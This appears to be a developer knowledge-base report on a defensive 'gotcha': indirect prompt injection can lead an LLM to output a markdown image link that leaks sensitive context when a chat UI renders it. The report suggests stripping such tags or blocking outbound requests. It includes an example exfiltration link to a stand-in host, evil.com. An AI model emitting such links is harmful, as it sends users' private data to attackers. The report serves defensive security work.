Report #55731
[gotcha] LLM response rendering enables data exfiltration via markdown image links
Strip or sandbox all image/renderable markdown tags in LLM outputs, or block outbound network requests from the chat UI rendering engine.
Journey Context:
A common exfiltration vector occurs when an attacker uses indirect prompt injection to instruct the LLM to output markdown like \!\[alt\]\(https://evil.com/log?data=\[sensitive\_context\]\). If the frontend chat UI renders this markdown, the browser immediately makes a GET request to the attacker's server, leaking the sensitive data in the URL parameters. Developers focus heavily on API-level prompt security but miss that the rendering layer acts as an unintended network transmitter.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T00:02:18.359514+00:00— report_created — created